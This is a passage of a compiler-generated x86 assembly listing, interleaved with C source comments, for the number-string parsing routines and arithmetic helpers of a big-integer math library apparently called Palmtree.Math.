; 214 : if (*state.IN_PTR >= L'0' && *state.IN_PTR <= L'9')
; 215 : ParseAsIntegerPartNumberSequence(&state);
; 216 : if ((number_styles & PMC_NUMBER_STYLE_ALLOW_DECIMAL_POINT) && StartsWith(state.IN_PTR, state.DECIMAL_SEPARATOR))
; 217 : {
; 218 : state.IN_PTR += state.DECIMAL_SEPARATOR_LENGTH;
; 219 : ParseAsFractionPartNumberSequence(&state);
; 220 : }
; 221 : }
jmp SHORT $LN83@ParseAsDec
$LN8@ParseAsDec:
; 222 : else if ((number_styles & PMC_NUMBER_STYLE_ALLOW_LEADING_SIGN) && StartsWith(state.IN_PTR, state.NEGATIVE_SIGN))
lea eax, DWORD PTR _state$[ebp+24]
push eax
push esi
call _StartsWith
add esp, 8
test eax, eax
je $LN12@ParseAsDec
; 223 : {
; 224 : state.SIGN = -1;
; 225 : state.IN_PTR += state.NEGATIVE_SIGN_LENGTH;
mov eax, DWORD PTR _state$[ebp+32]
mov DWORD PTR _state$[ebp+8], -1
$LN83@ParseAsDec:
; 269 : }
; 270 : else
; 271 : {
; 272 : }
; 273 : }
; 274 : else
; 275 : return (0);
; 276 : if (number_styles & PMC_NUMBER_STYLE_ALLOW_TRAILING_WHITE)
lea esi, DWORD PTR [esi+eax*2]
mov DWORD PTR _state$[ebp], esi
movzx eax, WORD PTR [esi]
cmp eax, 48 ; 00000030H
jb SHORT $LN14@ParseAsDec
cmp eax, 57 ; 00000039H
ja SHORT $LN14@ParseAsDec
lea eax, DWORD PTR _state$[ebp]
push eax
call _ParseAsIntegerPartNumberSequence
mov esi, DWORD PTR _state$[ebp]
add esp, 4
$LN14@ParseAsDec:
test bl, 32 ; 00000020H
je SHORT $LN27@ParseAsDec
lea eax, DWORD PTR _state$[ebp+36]
push eax
push esi
call _StartsWith
add esp, 8
test eax, eax
je SHORT $LN27@ParseAsDec
mov eax, DWORD PTR _state$[ebp+44]
lea eax, DWORD PTR [esi+eax*2]
mov DWORD PTR _state$[ebp], eax
lea eax, DWORD PTR _state$[ebp]
push eax
call _ParseAsFractionPartNumberSequence
add esp, 4
$LN76@ParseAsDec:
mov esi, DWORD PTR _state$[ebp]
$LN27@ParseAsDec:
test bl, 2
je SHORT $LN77@ParseAsDec
; 113 : switch (*state->IN_PTR)
movzx eax, WORD PTR [esi]
cmp eax, 9
jb SHORT $LN77@ParseAsDec
npad 1
$LL47@ParseAsDec:
cmp eax, 13 ; 0000000dH
jbe SHORT $LN52@ParseAsDec
cmp eax, 32 ; 00000020H
jne SHORT $LN77@ParseAsDec
$LN52@ParseAsDec:
; 114 : {
; 115 : case L' ':
; 116 : case L'\t':
; 117 : case L'\n':
; 118 : case L'\r':
; 119 : case L'\f':
; 120 : case L'\v':
; 121 : break;
; 122 :
; 123 : default:
; 124 : return;
; 125 : }
; 126 : state->IN_PTR += 1;
add esi, 2
mov DWORD PTR _state$[ebp], esi
movzx eax, WORD PTR [esi]
cmp eax, 9
jae SHORT $LL47@ParseAsDec
$LN77@ParseAsDec:
; 277 : SkipSpace(&state);
; 278 : if (*state.IN_PTR != L'\0')
cmp WORD PTR [esi], 0
jne $LN23@ParseAsDec
; 103 : *state->INT_PART_PTR = L'\0';
mov eax, DWORD PTR _state$[ebp+72]
xor ecx, ecx
mov WORD PTR [eax], cx
; 104 : if (state->NUMBER_STYLES & PMC_NUMBER_STYLE_ALLOW_DECIMAL_POINT)
test BYTE PTR _state$[ebp+4], 32 ; 00000020H
je SHORT $LN56@ParseAsDec
; 105 : *state->FRAC_PART_PTR = L'\0';
mov eax, DWORD PTR _state$[ebp+76]
mov WORD PTR [eax], cx
$LN56@ParseAsDec:
; 279 : return (0);
; 280 : FinalizeParserState(&state);
; 281 : *sign = state.SIGN;
mov ecx, DWORD PTR _sign$GSCopy$1$[ebp]
mov eax, DWORD PTR _state$[ebp+8]
pop edi
; 282 : return (1);
; 283 : }
pop esi
mov DWORD PTR [ecx], eax
mov eax, 1
pop ebx
mov ecx, DWORD PTR __$ArrayPad$[ebp]
xor ecx, ebp
call @__security_check_cookie@4
mov esp, ebp
pop ebp
ret 0
$LN12@ParseAsDec:
; 226 : if (*state.IN_PTR >= L'0' && *state.IN_PTR <= L'9')
; 227 : ParseAsIntegerPartNumberSequence(&state);
; 228 : if ((number_styles & PMC_NUMBER_STYLE_ALLOW_DECIMAL_POINT) && StartsWith(state.IN_PTR, state.DECIMAL_SEPARATOR))
; 229 : {
; 230 : state.IN_PTR += state.DECIMAL_SEPARATOR_LENGTH;
; 231 : ParseAsFractionPartNumberSequence(&state);
; 232 : }
; 233 : }
; 234 : else if (*state.IN_PTR >= L'0' && *state.IN_PTR <= L'9')
movzx eax, WORD PTR [esi]
cmp eax, 48 ; 00000030H
jb $LN16@ParseAsDec
cmp eax, 57 ; 00000039H
ja $LN16@ParseAsDec
; 235 : {
; 236 : ParseAsIntegerPartNumberSequence(&state);
lea eax, DWORD PTR _state$[ebp]
push eax
call _ParseAsIntegerPartNumberSequence
; 237 : if ((number_styles & PMC_NUMBER_STYLE_ALLOW_DECIMAL_POINT) && StartsWith(state.IN_PTR, state.DECIMAL_SEPARATOR))
mov esi, DWORD PTR _state$[ebp]
add esp, 4
test bl, 32 ; 00000020H
je SHORT $LN18@ParseAsDec
lea eax, DWORD PTR _state$[ebp+36]
push eax
push esi
call _StartsWith
add esp, 8
test eax, eax
je SHORT $LN18@ParseAsDec
; 238 : {
; 239 : state.IN_PTR += state.DECIMAL_SEPARATOR_LENGTH;
mov eax, DWORD PTR _state$[ebp+44]
lea eax, DWORD PTR [esi+eax*2]
mov DWORD PTR _state$[ebp], eax
; 240 : ParseAsFractionPartNumberSequence(&state);
lea eax, DWORD PTR _state$[ebp]
push eax
call _ParseAsFractionPartNumberSequence
mov esi, DWORD PTR _state$[ebp]
add esp, 4
$LN18@ParseAsDec:
; 241 : }
; 242 : if ((number_styles & PMC_NUMBER_STYLE_ALLOW_TRAILING_SIGN) && StartsWith(state.IN_PTR, state.POSITIVE_SIGN))
test bl, 8
je $LN27@ParseAsDec
lea eax, DWORD PTR _state$[ebp+12]
push eax
push esi
call _StartsWith
add esp, 8
test eax, eax
jne SHORT $LN79@ParseAsDec
; 243 : {
; 244 : state.SIGN = 1;
; 245 : state.IN_PTR += state.POSITIVE_SIGN_LENGTH;
; 246 : }
; 247 : else if ((number_styles & PMC_NUMBER_STYLE_ALLOW_TRAILING_SIGN) && StartsWith(state.IN_PTR, state.NEGATIVE_SIGN))
lea eax, DWORD PTR _state$[ebp+24]
push eax
push esi
call _StartsWith
add esp, 8
test eax, eax
je $LN27@ParseAsDec
; 248 : {
; 249 : state.SIGN = -1;
; 250 : state.IN_PTR += state.NEGATIVE_SIGN_LENGTH;
mov eax, DWORD PTR _state$[ebp+32]
mov DWORD PTR _state$[ebp+8], -1
lea esi, DWORD PTR [esi+eax*2]
mov DWORD PTR _state$[ebp], esi
; 251 : }
; 252 : else
; 253 : {
; 254 : }
; 255 : }
jmp $LN27@ParseAsDec
$LN16@ParseAsDec:
; 256 : else if ((number_styles & PMC_NUMBER_STYLE_ALLOW_DECIMAL_POINT) && StartsWith(state.IN_PTR, state.DECIMAL_SEPARATOR))
test bl, 32 ; 00000020H
je $LN23@ParseAsDec
lea eax, DWORD PTR _state$[ebp+36]
push eax
push esi
call _StartsWith
add esp, 8
test eax, eax
je SHORT $LN23@ParseAsDec
; 257 : {
; 258 : state.IN_PTR += state.DECIMAL_SEPARATOR_LENGTH;
mov eax, DWORD PTR _state$[ebp+44]
lea eax, DWORD PTR [esi+eax*2]
mov DWORD PTR _state$[ebp], eax
; 259 : ParseAsFractionPartNumberSequence(&state);
lea eax, DWORD PTR _state$[ebp]
push eax
call _ParseAsFractionPartNumberSequence
add esp, 4
; 260 : if ((number_styles & PMC_NUMBER_STYLE_ALLOW_TRAILING_SIGN) && StartsWith(state.IN_PTR, state.POSITIVE_SIGN))
test bl, 8
je $LN76@ParseAsDec
mov esi, DWORD PTR _state$[ebp]
lea eax, DWORD PTR _state$[ebp+12]
push eax
push esi
call _StartsWith
add esp, 8
test eax, eax
je SHORT $LN25@ParseAsDec
$LN79@ParseAsDec:
; 269 : }
; 270 : else
; 271 : {
; 272 : }
; 273 : }
; 274 : else
; 275 : return (0);
; 276 : if (number_styles & PMC_NUMBER_STYLE_ALLOW_TRAILING_WHITE)
mov eax, DWORD PTR _state$[ebp+20]
mov DWORD PTR _state$[ebp+8], 1
lea esi, DWORD PTR [esi+eax*2]
mov DWORD PTR _state$[ebp], esi
jmp $LN27@ParseAsDec
$LN25@ParseAsDec:
; 261 : {
; 262 : state.SIGN = 1;
; 263 : state.IN_PTR += state.POSITIVE_SIGN_LENGTH;
; 264 : }
; 265 : else if ((number_styles & PMC_NUMBER_STYLE_ALLOW_TRAILING_SIGN) && StartsWith(state.IN_PTR, state.NEGATIVE_SIGN))
lea eax, DWORD PTR _state$[ebp+24]
push eax
push esi
call _StartsWith
add esp, 8
test eax, eax
je $LN27@ParseAsDec
; 266 : {
; 267 : state.SIGN = -1;
; 268 : state.IN_PTR += state.NEGATIVE_SIGN_LENGTH;
mov eax, DWORD PTR _state$[ebp+32]
mov DWORD PTR _state$[ebp+8], -1
; 269 : }
; 270 : else
; 271 : {
; 272 : }
; 273 : }
; 274 : else
; 275 : return (0);
; 276 : if (number_styles & PMC_NUMBER_STYLE_ALLOW_TRAILING_WHITE)
lea esi, DWORD PTR [esi+eax*2]
mov DWORD PTR _state$[ebp], esi
jmp $LN27@ParseAsDec
$LN23@ParseAsDec:
; 282 : return (1);
; 283 : }
mov ecx, DWORD PTR __$ArrayPad$[ebp]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call @__security_check_cookie@4
mov esp, ebp
pop ebp
ret 0
_ParseAsDecimalNumberString ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; COMDAT _ParseAsFractionPartNumberSequence
_TEXT SEGMENT
_state$ = 8 ; size = 4
_ParseAsFractionPartNumberSequence PROC ; COMDAT
; 162 : {
push ebp
mov ebp, esp
mov eax, DWORD PTR _state$[ebp]
$LN15@ParseAsFra:
; 163 : for (;;)
; 164 : {
; 165 : if (*state->IN_PTR >= L'0' && *state->IN_PTR <= L'9')
mov ecx, DWORD PTR [eax]
movzx edx, WORD PTR [ecx]
cmp edx, 48 ; 00000030H
jb SHORT $LN5@ParseAsFra
cmp edx, 57 ; 00000039H
ja SHORT $LN5@ParseAsFra
; 166 : {
; 167 : *state->FRAC_PART_PTR = *state->IN_PTR;
mov ecx, DWORD PTR [eax+76]
mov WORD PTR [ecx], dx
; 168 : state->FRAC_PART_PTR += 1;
add DWORD PTR [eax+76], 2
; 169 : state->IN_PTR += 1;
add DWORD PTR [eax], 2
; 170 : }
jmp SHORT $LN15@ParseAsFra
$LN5@ParseAsFra:
; 171 : else if (state->NUMBER_STYLES & PMC_NUMBER_STYLE_ALLOW_HEX_SPECIFIER && *state->IN_PTR >= L'a' && *state->IN_PTR <= L'f')
test DWORD PTR [eax+4], 512 ; 00000200H
je SHORT $LN9@ParseAsFra
cmp edx, 97 ; 00000061H
jb SHORT $LN7@ParseAsFra
cmp edx, 102 ; 00000066H
ja SHORT $LN7@ParseAsFra
; 172 : {
; 173 : *state->FRAC_PART_PTR = *state->IN_PTR;
mov ecx, DWORD PTR [eax+76]
mov WORD PTR [ecx], dx
; 174 : state->FRAC_PART_PTR += 1;
add DWORD PTR [eax+76], 2
; 175 : state->IN_PTR += 1;
add DWORD PTR [eax], 2
; 176 : }
jmp SHORT $LN15@ParseAsFra
$LN7@ParseAsFra:
; 177 : else if (state->NUMBER_STYLES & PMC_NUMBER_STYLE_ALLOW_HEX_SPECIFIER && *state->IN_PTR >= L'A' && *state->IN_PTR <= L'F')
cmp edx, 65 ; 00000041H
jb SHORT $LN9@ParseAsFra
cmp edx, 70 ; 00000046H
ja SHORT $LN9@ParseAsFra
; 178 : {
; 179 : *state->FRAC_PART_PTR = *state->IN_PTR;
mov ecx, DWORD PTR [eax+76]
mov WORD PTR [ecx], dx
; 180 : state->FRAC_PART_PTR += 1;
add DWORD PTR [eax+76], 2
; 181 : state->IN_PTR += 1;
add DWORD PTR [eax], 2
; 182 : }
; 183 : else
; 184 : break;
; 185 : }
jmp SHORT $LN15@ParseAsFra
$LN9@ParseAsFra:
; 186 : }
pop ebp
ret 0
_ParseAsFractionPartNumberSequence ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; COMDAT _ParseAsIntegerPartNumberSequence
_TEXT SEGMENT
_state$ = 8 ; size = 4
_ParseAsIntegerPartNumberSequence PROC ; COMDAT
; 131 : {
push ebp
mov ebp, esp
mov eax, DWORD PTR _state$[ebp]
push ebx
push esi
push edi
$LN42@ParseAsInt:
; 132 : for (;;)
; 133 : {
; 134 : if (*state->IN_PTR >= L'0' && *state->IN_PTR <= L'9')
mov esi, DWORD PTR [eax]
movzx edx, WORD PTR [esi]
cmp edx, 48 ; 00000030H
jb SHORT $LN5@ParseAsInt
cmp edx, 57 ; 00000039H
ja SHORT $LN5@ParseAsInt
; 135 : {
; 136 : *state->INT_PART_PTR = *state->IN_PTR;
mov ecx, DWORD PTR [eax+72]
mov WORD PTR [ecx], dx
; 137 : state->INT_PART_PTR += 1;
add DWORD PTR [eax+72], 2
; 138 : state->IN_PTR += 1;
add DWORD PTR [eax], 2
; 139 : }
jmp SHORT $LN42@ParseAsInt
$LN5@ParseAsInt:
; 140 : else if (state->NUMBER_STYLES & PMC_NUMBER_STYLE_ALLOW_HEX_SPECIFIER && *state->IN_PTR >= L'a' && *state->IN_PTR <= L'f')
mov ecx, DWORD PTR [eax+4]
test ecx, 512 ; 00000200H
je SHORT $LN9@ParseAsInt
cmp edx, 97 ; 00000061H
jb SHORT $LN7@ParseAsInt
cmp edx, 102 ; 00000066H
ja SHORT $LN7@ParseAsInt
; 141 : {
; 142 : *state->INT_PART_PTR = *state->IN_PTR;
mov ecx, DWORD PTR [eax+72]
mov WORD PTR [ecx], dx
; 143 : state->INT_PART_PTR += 1;
add DWORD PTR [eax+72], 2
; 144 : state->IN_PTR += 1;
add DWORD PTR [eax], 2
; 145 : }
jmp SHORT $LN42@ParseAsInt
$LN7@ParseAsInt:
; 146 : else if (state->NUMBER_STYLES & PMC_NUMBER_STYLE_ALLOW_HEX_SPECIFIER && *state->IN_PTR >= L'A' && *state->IN_PTR <= L'F')
cmp edx, 65 ; 00000041H
jb SHORT $LN9@ParseAsInt
cmp edx, 70 ; 00000046H
ja SHORT $LN9@ParseAsInt
; 147 : {
; 148 : *state->INT_PART_PTR = *state->IN_PTR;
mov ecx, DWORD PTR [eax+72]
mov WORD PTR [ecx], dx
; 149 : state->INT_PART_PTR += 1;
add DWORD PTR [eax+72], 2
; 150 : state->IN_PTR += 1;
add DWORD PTR [eax], 2
; 151 : }
jmp SHORT $LN42@ParseAsInt
$LN9@ParseAsInt:
; 152 : else if (state->NUMBER_STYLES & PMC_NUMBER_STYLE_ALLOW_THOUSANDS && StartsWith(state->IN_PTR, state->GROUP_SEPARATOR))
test cl, 64 ; 00000040H
je SHORT $LN30@ParseAsInt
; 63 : while (*b != L'\0')
movzx ecx, WORD PTR [eax+48]
; 152 : else if (state->NUMBER_STYLES & PMC_NUMBER_STYLE_ALLOW_THOUSANDS && StartsWith(state->IN_PTR, state->GROUP_SEPARATOR))
lea edx, DWORD PTR [eax+48]
; 63 : while (*b != L'\0')
test cx, cx
je SHORT $LN18@ParseAsInt
mov edi, ecx
sub esi, edx
npad 7
$LL17@ParseAsInt:
; 64 : {
; 65 : if (*a != *b)
cmp WORD PTR [esi+edx], di
jne SHORT $LN36@ParseAsInt
; 66 : return (0);
; 67 : ++a;
; 68 : ++b;
movzx ecx, WORD PTR [edx+2]
add edx, 2
mov edi, ecx
test cx, cx
jne SHORT $LL17@ParseAsInt
$LN18@ParseAsInt:
; 153 : state->IN_PTR += state->GROUP_SEPARATOR_LENGTH;
mov ecx, DWORD PTR [eax+56]
add ecx, ecx
add DWORD PTR [eax], ecx
; 156 : else
; 157 : break;
; 158 : }
jmp $LN42@ParseAsInt
$LN36@ParseAsInt:
; 154 : else if (state->NUMBER_STYLES & PMC_NUMBER_STYLE_ALLOW_THOUSANDS && state->SECONDARY_GROUP_SEPARATOR_LENGTH > 0 && StartsWith(state->IN_PTR, state->SECONDARY_GROUP_SEPARATOR))
mov ebx, DWORD PTR [eax+68]
test ebx, ebx
jle SHORT $LN30@ParseAsInt
; 63 : while (*b != L'\0')
movzx ecx, WORD PTR [eax+60]
; 154 : else if (state->NUMBER_STYLES & PMC_NUMBER_STYLE_ALLOW_THOUSANDS && state->SECONDARY_GROUP_SEPARATOR_LENGTH > 0 && StartsWith(state->IN_PTR, state->SECONDARY_GROUP_SEPARATOR))
lea edx, DWORD PTR [eax+60]
; 63 : while (*b != L'\0')
test cx, cx
je SHORT $LN23@ParseAsInt
mov edi, DWORD PTR [eax]
mov esi, ecx
sub edi, edx
npad 7
$LL22@ParseAsInt:
; 64 : {
; 65 : if (*a != *b)
cmp WORD PTR [edi+edx], si
jne SHORT $LN30@ParseAsInt
; 66 : return (0);
; 67 : ++a;
; 68 : ++b;
movzx ecx, WORD PTR [edx+2]
add edx, 2
mov esi, ecx
test cx, cx
jne SHORT $LL22@ParseAsInt
$LN23@ParseAsInt:
; 155 : state->IN_PTR += state->SECONDARY_GROUP_SEPARATOR_LENGTH;
lea ecx, DWORD PTR [ebx+ebx]
add DWORD PTR [eax], ecx
jmp $LN42@ParseAsInt
$LN30@ParseAsInt:
pop edi
; 159 : }
pop esi
pop ebx
pop ebp
ret 0
_ParseAsIntegerPartNumberSequence ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; COMDAT _SkipSpace
_TEXT SEGMENT
_state$ = 8 ; size = 4
_SkipSpace PROC ; COMDAT
; 110 : {
push ebp
mov ebp, esp
; 111 : for (;;)
; 112 : {
; 113 : switch (*state->IN_PTR)
mov ecx, DWORD PTR _state$[ebp]
mov eax, DWORD PTR [ecx]
movzx eax, WORD PTR [eax]
cmp eax, 9
jb SHORT $LN11@SkipSpace
$LL2@SkipSpace:
cmp eax, 13 ; 0000000dH
jbe SHORT $LN7@SkipSpace
cmp eax, 32 ; 00000020H
jne SHORT $LN11@SkipSpace
$LN7@SkipSpace:
; 114 : {
; 115 : case L' ':
; 116 : case L'\t':
; 117 : case L'\n':
; 118 : case L'\r':
; 119 : case L'\f':
; 120 : case L'\v':
; 121 : break;
; 122 :
; 123 : default:
; 124 : return;
; 125 : }
; 126 : state->IN_PTR += 1;
add DWORD PTR [ecx], 2
mov eax, DWORD PTR [ecx]
movzx eax, WORD PTR [eax]
cmp eax, 9
jae SHORT $LL2@SkipSpace
$LN11@SkipSpace:
; 127 : }
; 128 : }
pop ebp
ret 0
_SkipSpace ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; COMDAT _FinalizeParserState
_TEXT SEGMENT
_state$ = 8 ; size = 4
_FinalizeParserState PROC ; COMDAT
; 102 : {
push ebp
mov ebp, esp
; 103 : *state->INT_PART_PTR = L'\0';
mov ecx, DWORD PTR _state$[ebp]
xor edx, edx
mov eax, DWORD PTR [ecx+72]
mov WORD PTR [eax], dx
; 104 : if (state->NUMBER_STYLES & PMC_NUMBER_STYLE_ALLOW_DECIMAL_POINT)
test BYTE PTR [ecx+4], 32 ; 00000020H
je SHORT $LN2@FinalizePa
; 105 : *state->FRAC_PART_PTR = L'\0';
mov eax, DWORD PTR [ecx+76]
xor ecx, ecx
mov WORD PTR [eax], cx
$LN2@FinalizePa:
; 106 : }
pop ebp
ret 0
_FinalizeParserState ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; COMDAT _InitializeParserState
_TEXT SEGMENT
_state$ = 8 ; size = 4
_in_ptr$ = 12 ; size = 4
_number_styles$ = 16 ; size = 4
_format_option$ = 20 ; size = 4
_int_part_buf$ = 24 ; size = 4
_frac_part_buf$ = 28 ; size = 4
_InitializeParserState PROC ; COMDAT
; 74 : {
push ebp
mov ebp, esp
; 75 : state->IN_PTR = in_ptr;
mov ecx, DWORD PTR _state$[ebp]
mov eax, DWORD PTR _in_ptr$[ebp]
push ebx
; 76 : state->NUMBER_STYLES = number_styles;
; 77 : state->SIGN = 0;
; 78 : lstrcpyW(state->POSITIVE_SIGN, format_option->PositiveSign);
mov ebx, DWORD PTR __imp__lstrcpyW@8
mov DWORD PTR [ecx], eax
mov eax, DWORD PTR _number_styles$[ebp]
push esi
mov DWORD PTR [ecx+4], eax
lea esi, DWORD PTR [ecx+12]
mov eax, DWORD PTR _format_option$[ebp]
push edi
add eax, 16 ; 00000010H
mov DWORD PTR [ecx+8], 0
push eax
push esi
call ebx
; 79 : state->POSITIVE_SIGN_LENGTH = lstrlenW(state->POSITIVE_SIGN);
mov edi, DWORD PTR __imp__lstrlenW@4
push esi
call edi
mov esi, DWORD PTR _state$[ebp]
mov DWORD PTR [esi+20], eax
; 80 : lstrcpyW(state->NEGATIVE_SIGN, format_option->NegativeSign);
add esi, 24 ; 00000018H
mov eax, DWORD PTR _format_option$[ebp]
add eax, 22 ; 00000016H
push eax
push esi
call ebx
; 81 : state->NEGATIVE_SIGN_LENGTH = lstrlenW(state->NEGATIVE_SIGN);
push esi
call edi
mov ecx, DWORD PTR _state$[ebp]
mov DWORD PTR [ecx+32], eax
; 82 : lstrcpyW(state->DECIMAL_SEPARATOR, format_option->DecimalSeparator);
lea esi, DWORD PTR [ecx+36]
mov eax, DWORD PTR _format_option$[ebp]
add eax, 10 ; 0000000aH
push eax
push esi
call ebx
; 83 : state->DECIMAL_SEPARATOR_LENGTH = lstrlenW(state->DECIMAL_SEPARATOR);
push esi
call edi
mov ecx, DWORD PTR _state$[ebp]
mov DWORD PTR [ecx+44], eax
; 84 : lstrcpyW(state->GROUP_SEPARATOR, format_option->GroupSeparator);
lea esi, DWORD PTR [ecx+48]
mov eax, DWORD PTR _format_option$[ebp]
add eax, 4
push eax
push esi
call ebx
; 85 : state->GROUP_SEPARATOR_LENGTH = lstrlenW(state->GROUP_SEPARATOR);
push esi
call edi
mov ecx, DWORD PTR _state$[ebp]
; 86 : if (state->GROUP_SEPARATOR[0] == L'\xa0' && state->GROUP_SEPARATOR[1] == L'\0')
pop edi
mov DWORD PTR [ecx+56], eax
mov eax, 160 ; 000000a0H
cmp WORD PTR [esi], ax
pop esi
pop ebx
jne SHORT $LN2@Initialize
cmp WORD PTR [ecx+50], 0
jne SHORT $LN2@Initialize
; 87 : {
; 88 : state->SECONDARY_GROUP_SEPARATOR[0] = L'\x20';
; 89 : state->SECONDARY_GROUP_SEPARATOR[1] = L'\0';
xor eax, eax
mov WORD PTR [ecx+62], ax
; 90 : state->SECONDARY_GROUP_SEPARATOR_LENGTH = 1;
mov eax, 1
lea edx, DWORD PTR [eax+31]
; 91 : }
jmp SHORT $LN3@Initialize
$LN2@Initialize:
; 92 : else
; 93 : {
; 94 : state->SECONDARY_GROUP_SEPARATOR[0] = L'\0';
; 95 : state->SECONDARY_GROUP_SEPARATOR_LENGTH = 0;
xor eax, eax
xor edx, edx
$LN3@Initialize:
; 96 : }
; 97 : state->INT_PART_PTR = int_part_buf;
mov WORD PTR [ecx+60], dx
mov DWORD PTR [ecx+68], eax
mov eax, DWORD PTR _int_part_buf$[ebp]
mov DWORD PTR [ecx+72], eax
; 98 : state->FRAC_PART_PTR = frac_part_buf;
mov eax, DWORD PTR _frac_part_buf$[ebp]
mov DWORD PTR [ecx+76], eax
; 99 : }
pop ebp
ret 0
_InitializeParserState ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; COMDAT _StartsWith
_TEXT SEGMENT
_a$ = 8 ; size = 4
_b$ = 12 ; size = 4
_StartsWith PROC ; COMDAT
; 62 : {
push ebp
mov ebp, esp
; 63 : while (*b != L'\0')
mov eax, DWORD PTR _b$[ebp]
push esi
movzx ecx, WORD PTR [eax]
test cx, cx
je SHORT $LN3@StartsWith
mov esi, DWORD PTR _a$[ebp]
mov edx, ecx
sub esi, eax
$LL2@StartsWith:
; 64 : {
; 65 : if (*a != *b)
cmp WORD PTR [esi+eax], dx
jne SHORT $LN7@StartsWith
; 67 : ++a;
; 68 : ++b;
movzx ecx, WORD PTR [eax+2]
add eax, 2
mov edx, ecx
test cx, cx
jne SHORT $LL2@StartsWith
$LN3@StartsWith:
; 69 : }
; 70 : return (1);
mov eax, 1
pop esi
; 71 : }
pop ebp
ret 0
$LN7@StartsWith:
; 66 : return (0);
xor eax, eax
pop esi
; 71 : }
pop ebp
ret 0
_StartsWith ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; COMDAT __MULTIPLYX_UNIT
_TEXT SEGMENT
_u$ = 8 ; size = 4
_v$ = 12 ; size = 4
_w_hi$ = 16 ; size = 4
__MULTIPLYX_UNIT PROC ; COMDAT
; 335 : {
push ebp
mov ebp, esp
; 336 : #ifdef _MSC_VER
; 337 : #ifdef _M_IX86
; 338 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, DWORD PTR _u$[ebp]
mul DWORD PTR _v$[ebp]
; 183 : *result_high = (_UINT32_T)(value >> 32);
mov ecx, DWORD PTR _w_hi$[ebp]
mov DWORD PTR [ecx], edx
; 339 : #elif defined(_M_X64)
; 340 : return (_mulx_u64(u, v, w_hi));
; 341 : #else
; 342 : #error unknown platform
; 343 : #endif
; 344 : #elif defined(__GNUC__)
; 345 : #ifdef _M_IX86
; 346 : _UINT32_T w_lo;
; 347 : __asm__("mulxl %3, %0, %1" : "=r"(w_lo), "=r"(*w_hi), "+d"(u) : "rm"(v));
; 348 : return (w_lo);
; 349 : #elif defined(_M_X64)
; 350 : _UINT64_T w_lo;
; 351 : __asm__("mulxq %3, %0, %1" : "=r"(w_lo), "=r"(*w_hi), "+d"(u) : "rm"(v));
; 352 : return (w_lo);
; 353 : #else
; 354 : #error unknown platform
; 355 : #endif
; 356 : #else
; 357 : #error unknown compiler
; 358 : #endif
; 359 : }
pop ebp
ret 0
__MULTIPLYX_UNIT ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; COMDAT __MULTIPLY_UNIT
_TEXT SEGMENT
_u$ = 8 ; size = 4
_v$ = 12 ; size = 4
_w_hi$ = 16 ; size = 4
__MULTIPLY_UNIT PROC ; COMDAT
; 297 : {
push ebp
mov ebp, esp
; 298 : #ifdef _M_IX86
; 299 : #ifdef _MSC_VER
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, DWORD PTR _u$[ebp]
mul DWORD PTR _v$[ebp]
; 183 : *result_high = (_UINT32_T)(value >> 32);
mov ecx, DWORD PTR _w_hi$[ebp]
mov DWORD PTR [ecx], edx
; 301 : #elif defined(__GNUC__)
; 302 : _UINT32_T w_lo;
; 303 : __asm__("mull %3": "=a"(w_lo), "=d"(*w_hi) : "0"(u), "rm"(v));
; 304 : return (w_lo);
; 305 : #else
; 306 : #error unknown compiler
; 307 : #endif
; 308 : #elif defined(_M_X64)
; 309 : return (_umul128(u, v, w_hi));
; 310 : #else
; 311 : #error unknown platform
; 312 : #endif
; 313 : }
pop ebp
ret 0
__MULTIPLY_UNIT ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; COMDAT __ADDX_UNIT
_TEXT SEGMENT
_carry$ = 8 ; size = 1
_u$ = 12 ; size = 4
_v$ = 16 ; size = 4
_w$ = 20 ; size = 4
__ADDX_UNIT PROC ; COMDAT
; 241 : {
push ebp
mov ebp, esp
; 242 : #ifdef _M_IX86
; 243 : return (_addcarryx_u32(carry, u, v, w));
mov al, BYTE PTR _carry$[ebp]
mov edx, DWORD PTR _w$[ebp]
add al, 255 ; 000000ffH
mov ecx, DWORD PTR _u$[ebp]
adcx ecx, DWORD PTR _v$[ebp]
setb al
mov DWORD PTR [edx], ecx
; 244 : #elif defined(_M_X64)
; 245 : return (_addcarryx_u64(carry, u, v, w));
; 246 : #else
; 247 : #error unknown platform
; 248 : #endif
; 249 : }
pop ebp
ret 0
__ADDX_UNIT ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; COMDAT __ADD_UNIT
_TEXT SEGMENT
_carry$ = 8 ; size = 1
_u$ = 12 ; size = 4
_v$ = 16 ; size = 4
_w$ = 20 ; size = 4
__ADD_UNIT PROC ; COMDAT
; 213 : {
push ebp
mov ebp, esp
; 214 : #ifdef _M_IX86
; 215 : return (_addcarry_u32(carry, u, v, w));
mov al, BYTE PTR _carry$[ebp]
mov edx, DWORD PTR _w$[ebp]
add al, 255 ; 000000ffH
mov ecx, DWORD PTR _u$[ebp]
adc ecx, DWORD PTR _v$[ebp]
setb al
